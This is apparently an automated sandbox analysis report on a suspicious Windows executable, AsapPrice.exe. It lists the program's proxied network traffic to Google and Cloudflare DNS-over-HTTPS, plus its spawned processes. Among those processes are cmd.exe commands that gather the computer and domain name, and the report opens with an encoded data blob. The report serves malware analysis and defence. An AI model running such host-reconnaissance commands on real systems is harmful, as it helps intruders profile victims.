                                                                                                                                                                                                                                                Data Raw: 38 38 0d 0a 4b 51 47 57 43 4e 6e 59 79 59 30 61 6a 6c 58 4f 31 6c 46 57 53 42 48 5a 74 56 46 65 59 4a 6a 55 32 52 6d 4d 31 4d 6e 59 79 59 30 61 59 4e 6a 51 6f 56 32 56 34 5a 58 57 58 4a 6c 5a 69 31 6d 52 77 45 47 57 61 78 57 54 57 6c 7a 61 69 4e 44 5a 31 4a 32 52 35 67 6d 57 47 6c 7a 64 5a 68 46 62 7a 4a 6d 4d 47 74 47 57 77 34 55 65 5a 64 6c 54 79 52 31 56 57 42 6c 59 74 56 56 64 6c 31 47 62 33 39 31 61 75 6c 47 62 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                Data Ascii: 88KQGWCNnYyY0ajlXO1lFWSBHZtVFeYJjU2RmM1MnYyY0aYNjQoV2V4ZXWXJlZi1mRwEGWaxWTWlzaiNDZ1J2R5gmWGlzdZhFbzJmMGtGWw4UeZdlTyR1VWBlYtVVdl1Gb391aulGb0


                                                                                                                                                                                                                                                HTTPS Proxied Packets

                                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                0192.168.2.949713142.250.181.2284438120C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
                                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC128OUTGET / HTTP/1.1
                                                                                                                                                                                                                                                Accept: application/json, text/plain, */*
                                                                                                                                                                                                                                                User-Agent: axios/0.27.2
                                                                                                                                                                                                                                                Host: www.google.com
                                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC1199INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                Date: Tue, 14 Jan 2025 07:56:47 GMT
                                                                                                                                                                                                                                                Expires: -1
                                                                                                                                                                                                                                                Cache-Control: private, max-age=0
                                                                                                                                                                                                                                                Content-Type: text/html; charset=ISO-8859-1
                                                                                                                                                                                                                                                Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-rhyoaXwO28CvdWWN0Tdd8g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp
                                                                                                                                                                                                                                                Accept-CH: Sec-CH-Prefers-Color-Scheme
                                                                                                                                                                                                                                                P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
                                                                                                                                                                                                                                                Server: gws
                                                                                                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                                Set-Cookie: AEC=AZ6Zc-XmpgtdsAcBMMAJ6uNur-M01W1G6Q7ByiKlXI-Opg5vQfyVj_UeWbg; expires=Sun, 13-Jul-2025 07:56:47 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax
                                                                                                                                                                                                                                                Set-Cookie: NID=520=SnfUXes0scxi8nde2xcqTe0HzYp6i1gxDrg_OhtEJU07xpPKjJIPPfSo65xQMnnCh9vO35pJIdHXh5ZcoiCB1skhK-O4fOxAWVnjbu1lLKaFpdGMN6XnOmBe4dZkuBQdjfoVerQg4wSvcylqPGOt9MmFFTHwi0_qaZq2H5Ls32-g1ellOSngDgQgVvtJuJyjAgjFD9tqxLBCjTr54A; expires=Wed, 16-Jul-2025 07:56:47 GMT; path=/; domain=.google.com; HttpOnly
                                                                                                                                                                                                                                                Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                                                Accept-Ranges: none
                                                                                                                                                                                                                                                Vary: Accept-Encoding
                                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                                Transfer-Encoding: chunked
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC191INData Raw: 33 34 34 62 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 53 65 61 72 63 68 20 74 68 65 20 77 6f 72 6c 64 27 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 69 6e 63 6c 75 64 69 6e 67 20 77 65 62 70 61 67 65 73 2c 20 69 6d 61 67 65 73 2c 20 76 69 64 65 6f 73 20 61 6e 64 20 6d 6f 72 65 2e 20 47 6f 6f 67 6c 65
                                                                                                                                                                                                                                                Data Ascii: 344b<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC1390INData Raw: 20 68 61 73 20 6d 61 6e 79 20 73 70 65 63 69 61 6c 20 66 65 61 74 75 72 65 73 20 74 6f 20 68 65 6c 70 20 79 6f 75 20 66 69 6e 64 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6f 64 70 2c 20 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74
                                                                                                                                                                                                                                                Data Ascii: has many special features to help you find exactly what you're looking for." name="description"><meta content="noodp, " name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_st
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC1390INData Raw: 32 2c 32 36 39 2c 34 30 34 2c 32 2c 33 38 32 2c 32 2c 36 35 32 2c 38 2c 32 2c 34 38 32 2c 31 36 38 2c 38 31 2c 31 34 32 2c 36 30 33 2c 36 32 2c 31 39 31 2c 39 30 35 2c 38 33 33 2c 32 35 37 2c 37 34 34 2c 35 38 36 2c 39 38 38 2c 35 32 39 2c 31 32 30 39 2c 32 39 30 2c 31 37 2c 33 2c 33 34 31 2c 34 36 30 2c 32 30 33 2c 31 2c 32 34 36 35 2c 36 37 36 2c 31 36 35 2c 33 2c 34 31 38 2c 37 31 31 2c 36 2c 32 2c 39 30 37 2c 31 2c 35 2c 34 2c 34 2c 34 2c 31 34 30 2c 34 32 2c 36 38 36 2c 36 34 36 2c 34 2c 32 31 39 2c 34 39 38 2c 33 30 30 2c 33 34 32 2c 31 32 2c 31 2c 31 2c 35 2c 37 35 2c 32 31 30 2c 37 33 34 2c 32 2c 31 2c 32 2c 32 2c 32 2c 33 2c 34 31 2c 33 35 39 2c 31 31 34 35 2c 32 37 35 2c 32 32 39 2c 32 31 32 2c 34 2c 31 34 38 38 2c 32 32 31 2c 32 31 33 37 38 31
                                                                                                                                                                                                                                                Data Ascii: 2,269,404,2,382,2,652,8,2,482,168,81,142,603,62,191,905,833,257,744,586,988,529,1209,290,17,3,341,460,203,1,2465,676,165,3,418,711,6,2,907,1,5,4,4,4,140,42,686,646,4,219,498,300,342,12,1,1,5,75,210,734,2,1,2,2,2,3,41,359,1145,275,229,212,4,1488,221,213781
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC1390INData Raw: 3d 3d 3d 76 6f 69 64 20 30 3f 6b 3a 65 3b 64 7c 7c 28 64 3d 72 28 61 2c 62 2c 65 2c 63 2c 68 29 29 3b 69 66 28 64 3d 71 28 64 29 29 7b 61 3d 6e 65 77 20 49 6d 61 67 65 3b 76 61 72 20 66 3d 6d 2e 6c 65 6e 67 74 68 3b 6d 5b 66 5d 3d 61 3b 61 2e 6f 6e 65 72 72 6f 72 3d 61 2e 6f 6e 6c 6f 61 64 3d 61 2e 6f 6e 61 62 6f 72 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 6d 5b 66 5d 7d 3b 61 2e 73 72 63 3d 64 7d 7d 3b 67 6f 6f 67 6c 65 2e 6c 6f 67 55 72 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 62 3d 3d 3d 76 6f 69 64 20 30 3f 6b 3a 62 3b 72 65 74 75 72 6e 20 72 28 22 22 2c 61 2c 62 29 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 79 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 79 3d 5b 5d
                                                                                                                                                                                                                                                Data Ascii: ===void 0?k:e;d||(d=r(a,b,e,c,h));if(d=q(d)){a=new Image;var f=m.length;m[f]=a;a.onerror=a.onload=a.onabort=function(){delete m[f]};a.src=d}};google.logUrl=function(a,b){b=b===void 0?k:b;return r("",a,b)};}).call(this);(function(){google.y={};google.sy=[]
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC1390INData Raw: 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 23 67 62 61 72 7b 68 65 69 67 68 74 3a 32 32 70 78 7d 23 67 75 73 65 72 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 37 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 2e 67 62 68 2c 2e 67 62 64 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 39 64 37 66 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 70 78 7d 2e 67 62 68 7b 68 65 69 67 68 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 32 34 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 40 6d 65 64 69 61 20 61 6c 6c 7b 2e 67 62 31 7b 68 65 69 67 68 74 3a 32 32 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 65 6d
                                                                                                                                                                                                                                                Data Ascii: 13px;padding-top:1px !important;}#gbar{height:22px}#guser{padding-bottom:7px !important;text-align:right}.gbh,.gbd{border-top:1px solid #c9d7f1;font-size:1px}.gbh{height:0;position:absolute;top:24px;width:100%}@media all{.gb1{height:22px;margin-right:.5em
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC1390INData Raw: 6f 69 6e 74 65 72 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 6d 61 72 67 69 6e 3a 30 3b 6f 75 74 6c 69 6e 65 3a 30 3b 66 6f 6e 74 3a 31 35 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 2e 6c 73 62 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 61 64 63 65 30 7d 2e 6c 73 74 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 72 68 79 6f 61 58 77 4f 32 38 43 76 64 57 57 4e 30 54 64 64 38 67 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 65 72 64 3d 7b 6a 73 72 3a 31 2c 62 76 3a 32 31 35 30 2c 64 65 3a 74 72 75 65 2c 64 70 66 3a 27 6b 73 32 45 73 47 77 43 56 30 65
                                                                                                                                                                                                                                                Data Ascii: ointer;height:30px;margin:0;outline:0;font:15px arial,sans-serif;vertical-align:top}.lsb:active{background:#dadce0}.lst:focus{outline:none}</style><script nonce="rhyoaXwO28CvdWWN0Tdd8g">(function(){window.google.erd={jsr:1,bv:2150,de:true,dpf:'ks2EsGwCV0e
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC1390INData Raw: 65 6e 67 74 68 3e 3d 31 32 32 38 38 26 26 28 63 3d 63 2e 73 75 62 73 74 72 28 30 2c 31 32 32 38 38 29 29 3b 61 3d 63 3b 6e 7c 7c 67 6f 6f 67 6c 65 2e 6c 6f 67 28 30 2c 22 22 2c 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 77 69 6e 64 6f 77 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 64 2c 6e 2c 65 29 7b 75 21 3d 3d 61 26 26 28 61 3d 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 3f 65 3a 45 72 72 6f 72 28 61 29 2c 64 3d 3d 3d 76 6f 69 64 20 30 7c 7c 22 6c 69 6e 65 4e 75 6d 62 65 72 22 69 6e 20 61 7c 7c 28 61 2e 6c 69 6e 65 4e 75 6d 62 65 72 3d 64 29 2c 62 3d 3d 3d 76 6f 69 64 20 30 7c 7c 22 66 69 6c 65 4e 61 6d 65 22 69 6e 20 61 7c 7c 28 61 2e 66 69 6c 65 4e 61 6d 65 3d 62 29 2c 67 6f 6f 67 6c 65 2e 6d 6c 28 61 2c 21 31 2c 76 6f 69
                                                                                                                                                                                                                                                Data Ascii: ength>=12288&&(c=c.substr(0,12288));a=c;n||google.log(0,"",a);return a};window.onerror=function(a,b,d,n,e){u!==a&&(a=e instanceof Error?e:Error(a),d===void 0||"lineNumber"in a||(a.lineNumber=d),b===void 0||"fileName"in a||(a.fileName=b),google.ml(a,!1,voi
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC1390INData Raw: 2f 75 3e 20 26 72 61 71 75 6f 3b 3c 2f 61 3e 3c 2f 6e 6f 62 72 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 67 75 73 65 72 20 77 69 64 74 68 3d 31 30 30 25 3e 3c 6e 6f 62 72 3e 3c 73 70 61 6e 20 69 64 3d 67 62 6e 20 63 6c 61 73 73 3d 67 62 69 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 69 64 3d 67 62 66 20 63 6c 61 73 73 3d 67 62 66 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 69 64 3d 67 62 65 3e 3c 2f 73 70 61 6e 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 68 69 73 74 6f 72 79 2f 6f 70 74 6f 75 74 3f 68 6c 3d 65 6e 22 20 63 6c 61 73 73 3d 67 62 34 3e 57 65 62 20 48 69 73 74 6f 72 79 3c 2f 61 3e 20 7c 20 3c 61 20 20 68 72 65 66 3d 22 2f 70 72 65 66 65 72 65 6e 63 65 73 3f 68 6c 3d 65 6e 22 20 63 6c 61 73 73
                                                                                                                                                                                                                                                Data Ascii: /u> &raquo;</a></nobr></div><div id=guser width=100%><nobr><span id=gbn class=gbi></span><span id=gbf class=gbf></span><span id=gbe></span><a href="http://www.google.com/history/optout?hl=en" class=gb4>Web History</a> | <a href="/preferences?hl=en" class
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC1390INData Raw: 75 74 20 63 6c 61 73 73 3d 22 6c 73 62 22 20 76 61 6c 75 65 3d 22 47 6f 6f 67 6c 65 20 53 65 61 72 63 68 22 20 6e 61 6d 65 3d 22 62 74 6e 47 22 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 73 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 73 62 62 22 3e 3c 69 6e 70 75 74 20 63 6c 61 73 73 3d 22 6c 73 62 22 20 69 64 3d 22 74 73 75 69 64 5f 76 78 69 47 5a 35 48 46 4d 76 53 4b 39 75 38 50 6b 38 71 42 30 41 59 5f 31 22 20 76 61 6c 75 65 3d 22 49 27 6d 20 46 65 65 6c 69 6e 67 20 4c 75 63 6b 79 22 20 6e 61 6d 65 3d 22 62 74 6e 49 22 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 72 68 79 6f 61 58 77 4f 32 38 43 76 64 57 57 4e 30 54 64
                                                                                                                                                                                                                                                Data Ascii: ut class="lsb" value="Google Search" name="btnG" type="submit"></span></span><span class="ds"><span class="lsbb"><input class="lsb" id="tsuid_vxiGZ5HFMvSK9u8Pk8qB0AY_1" value="I'm Feeling Lucky" name="btnI" type="submit"><script nonce="rhyoaXwO28CvdWWN0Td
                                                                                                                                                                                                                                                2025-01-14 07:56:47 UTC1390INData Raw: 72 3e 3c 2f 64 69 76 3e 3c 73 70 61 6e 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 74 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 31 39 70 78 20 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 22 20 69 64 3d 22 57 71 51 41 4e 62 22 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 74 6c 2f 65 6e 2f 61 64 73 2f 22 3e 41 64 76 65 72 74 69 73 69 6e 67 3c 2f 61 3e 3c 61 20 68 72 65 66 3d 22 2f 73 65 72 76 69 63 65 73 2f 22 3e 42 75 73 69 6e 65 73 73 20 53 6f 6c 75 74 69 6f 6e 73 3c 2f 61 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 74 6c 2f 65 6e 2f 61 62 6f 75 74 2e 68 74 6d 6c 22 3e 41 62 6f 75 74 20 47 6f 6f 67 6c 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c
                                                                                                                                                                                                                                                Data Ascii: r></div><span id="footer"><div style="font-size:10pt"><div style="margin:19px auto;text-align:center" id="WqQANb"><a href="/intl/en/ads/">Advertising</a><a href="/services/">Business Solutions</a><a href="/intl/en/about.html">About Google</a></div></div><


                                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                1192.168.2.949717172.64.41.34433352C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
                                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                2025-01-14 07:57:00 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                                                                                                                                                Host: chrome.cloudflare-dns.com
                                                                                                                                                                                                                                                Connection: keep-alive
                                                                                                                                                                                                                                                Content-Length: 128
                                                                                                                                                                                                                                                Accept: application/dns-message
                                                                                                                                                                                                                                                Accept-Language: *
                                                                                                                                                                                                                                                User-Agent: Chrome
                                                                                                                                                                                                                                                Accept-Encoding: identity
                                                                                                                                                                                                                                                Content-Type: application/dns-message
                                                                                                                                                                                                                                                2025-01-14 07:57:00 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                Data Ascii: wwwgstaticcom)TP
                                                                                                                                                                                                                                                2025-01-14 07:57:00 UTC247INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                Server: cloudflare
                                                                                                                                                                                                                                                Date: Tue, 14 Jan 2025 07:57:00 GMT
                                                                                                                                                                                                                                                Content-Type: application/dns-message
                                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                                Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                Content-Length: 468
                                                                                                                                                                                                                                                CF-RAY: 901c129e5b384375-EWR
                                                                                                                                                                                                                                                alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                2025-01-14 07:57:00 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 05 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                Data Ascii: wwwgstaticcom()


                                                                                                                                                                                                                                                Statistics

                                                                                                                                                                                                                                                CPU Usage

                                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                                Memory Usage

                                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                                High Level Behavior Distribution

                                                                                                                                                                                                                                                Click to dive into process behavior distribution

                                                                                                                                                                                                                                                Behavior

                                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                                System Behavior

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:1
                                                                                                                                                                                                                                                Start time:02:56:19
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                Commandline:"C:\Users\user\Desktop\LN1lgDlZ8e.exe"
                                                                                                                                                                                                                                                Imagebase:0x400000
                                                                                                                                                                                                                                                File size:64'804'488 bytes
                                                                                                                                                                                                                                                MD5 hash:615B9EF741787E9625F20DED4A0121DB
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:3
                                                                                                                                                                                                                                                Start time:02:56:42
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
                                                                                                                                                                                                                                                Imagebase:0x7ff79c710000
                                                                                                                                                                                                                                                File size:160'143'360 bytes
                                                                                                                                                                                                                                                MD5 hash:E9DFAA053710AE038CB4741FBE77E9D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Antivirus matches:
                                                                                                                                                                                                                                                • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:6
                                                                                                                                                                                                                                                Start time:02:56:44
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /d /s /c "chcp"
                                                                                                                                                                                                                                                Imagebase:0x7ff6fc770000
                                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:7
                                                                                                                                                                                                                                                Start time:02:56:44
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:8
                                                                                                                                                                                                                                                Start time:02:56:44
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\chcp.com
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:chcp
                                                                                                                                                                                                                                                Imagebase:0x7ff67fdb0000
                                                                                                                                                                                                                                                File size:14'848 bytes
                                                                                                                                                                                                                                                MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:9
                                                                                                                                                                                                                                                Start time:02:56:46
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1880 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                                                                                                                                                Imagebase:0x7ff79c710000
                                                                                                                                                                                                                                                File size:160'143'360 bytes
                                                                                                                                                                                                                                                MD5 hash:E9DFAA053710AE038CB4741FBE77E9D9
                                                                                                                                                                                                                                                Has elevated privileges:false
                                                                                                                                                                                                                                                Has administrator privileges:false
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:10
                                                                                                                                                                                                                                                Start time:02:56:47
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"
                                                                                                                                                                                                                                                Imagebase:0x7ff6fc770000
                                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
